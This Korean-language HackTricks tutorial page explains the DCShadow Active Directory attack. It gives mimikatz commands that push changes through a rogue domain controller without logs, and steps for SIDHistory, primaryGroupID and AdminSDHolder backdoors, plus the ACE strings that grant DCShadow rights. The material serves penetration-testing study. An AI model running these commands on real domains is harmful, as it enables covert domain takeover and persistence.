Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

DCShadow

AD์— ์ƒˆ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ๋“ฑ๋กํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •๋œ ๊ฐ์ฒด์— ์†์„ฑ(SIDHistory, SPNsโ€ฆ)์„ ํ‘ธ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ ์ˆ˜์ •์— ๋Œ€ํ•œ ๋กœ๊ทธ๊ฐ€ ๋‚จ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. DA ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ ๋ฃจํŠธ ๋„๋ฉ”์ธ ๋‚ด์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์ž˜๋ชป๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ฝค ๋”์ฐํ•œ ๋กœ๊ทธ๊ฐ€ ๋‚˜ํƒ€๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด 2๊ฐœ์˜ mimikatz ์ธ์Šคํ„ด์Šค๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ค‘ ํ•˜๋‚˜๋Š” SYSTEM ๊ถŒํ•œ์œผ๋กœ RPC ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•˜๋ฉฐ(์—ฌ๊ธฐ์„œ ์ˆ˜ํ–‰ํ•  ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ์ง€์ •ํ•ด์•ผ ํ•จ), ๋‹ค๋ฅธ ์ธ์Šคํ„ด์Šค๋Š” ๊ฐ’์„ ํ‘ธ์‹œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push

**elevate::token**๋Š” mimikatz1 ์„ธ์…˜์—์„œ ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋Š” ์Šค๋ ˆ๋“œ์˜ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค์ง€๋งŒ ํ”„๋กœ์„ธ์Šค์˜ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๋˜ํ•œ โ€œLDAPโ€ ๊ฐ์ฒด๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

DA ๋˜๋Š” ์ตœ์†Œํ•œ์˜ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ํ‘ธ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋„๋ฉ”์ธ ๊ฐ์ฒด์—์„œ:
  • DS-Install-Replica (๋„๋ฉ”์ธ์—์„œ ๋ณต์ œ๋ณธ ์ถ”๊ฐ€/์ œ๊ฑฐ)
  • DS-Replication-Manage-Topology (๋ณต์ œ ํ† ํด๋กœ์ง€ ๊ด€๋ฆฌ)
  • DS-Replication-Synchronize (๋ณต์ œ ๋™๊ธฐํ™”)
  • ๊ตฌ์„ฑ ์ปจํ…Œ์ด๋„ˆ์˜ ์‚ฌ์ดํŠธ ๊ฐ์ฒด(๋ฐ ๊ทธ ์ž์‹):
  • CreateChild and DeleteChild
  • DC๋กœ ๋“ฑ๋ก๋œ ์ปดํ“จํ„ฐ์˜ ๊ฐ์ฒด:
  • WriteProperty (Not Write)
  • ๋Œ€์ƒ ๊ฐ์ฒด:
  • WriteProperty (Not Write)

Set-DCShadowPermissions๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋น„๊ถŒํ•œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด๋กœ ์ธํ•ด ์ผ๋ถ€ ๋กœ๊ทธ๊ฐ€ ๋‚จ์Šต๋‹ˆ๋‹ค). ์ด๋Š” DA ๊ถŒํ•œ์„ ๊ฐ–๋Š” ๊ฒƒ๋ณด๋‹ค ํ›จ์”ฌ ๋” ์ œํ•œ์ ์ž…๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose ์ด๋Š” mcorp-student1 ๋จธ์‹ ์— ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„ _student1_์ด ๊ฐ์ฒด _root1user_์— ๋Œ€ํ•ด DCShadow ๊ถŒํ•œ์„ ๊ฐ–๋Š”๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

DCShadow๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐฑ๋„์–ด ์ƒ์„ฑํ•˜๊ธฐ

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - DCShadow๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ DCShadow ๊ถŒํ•œ ๋ถ€์—ฌ (์ˆ˜์ •๋œ ๊ถŒํ•œ ๋กœ๊ทธ ์—†์Œ)

๋‹ค์Œ ACE๋ฅผ ์‚ฌ์šฉ์ž SID๋กœ ๋์— ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • ๋„๋ฉ”์ธ ๊ฐ์ฒด์—์„œ:
  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • ๊ณต๊ฒฉ์ž ์ปดํ“จํ„ฐ ๊ฐ์ฒด์—์„œ: (A;;WP;;;UserSID)
  • ๋Œ€์ƒ ์‚ฌ์šฉ์ž ๊ฐ์ฒด์—์„œ: (A;;WP;;;UserSID)
  • ๊ตฌ์„ฑ ์ปจํ…Œ์ด๋„ˆ์˜ ์‚ฌ์ดํŠธ ๊ฐ์ฒด์—์„œ: (A;CI;CCDC;;;UserSID)

๊ฐ์ฒด์˜ ํ˜„์žฌ ACE๋ฅผ ๊ฐ€์ ธ์˜ค๋ ค๋ฉด: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

์ด ๊ฒฝ์šฐ ์—ฌ๋Ÿฌ ๋ณ€๊ฒฝ์„ ํ•ด์•ผ ํ•˜๋ฏ€๋กœ, mimikatz1 ์„ธ์…˜ (RPC ์„œ๋ฒ„)์—์„œ ๋ณ€๊ฒฝํ•˜๋ ค๋Š” ๊ฐ ๋ณ€๊ฒฝ์— ๋Œ€ํ•ด /stack ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด, ๋ชจ๋“  ์Šคํƒ๋œ ๋ณ€๊ฒฝ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด **/push**๋ฅผ ํ•œ ๋ฒˆ๋งŒ ์‚ฌ์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

DCShadow์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ired.team์—์„œ ํ™•์ธํ•˜์„ธ์š”.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ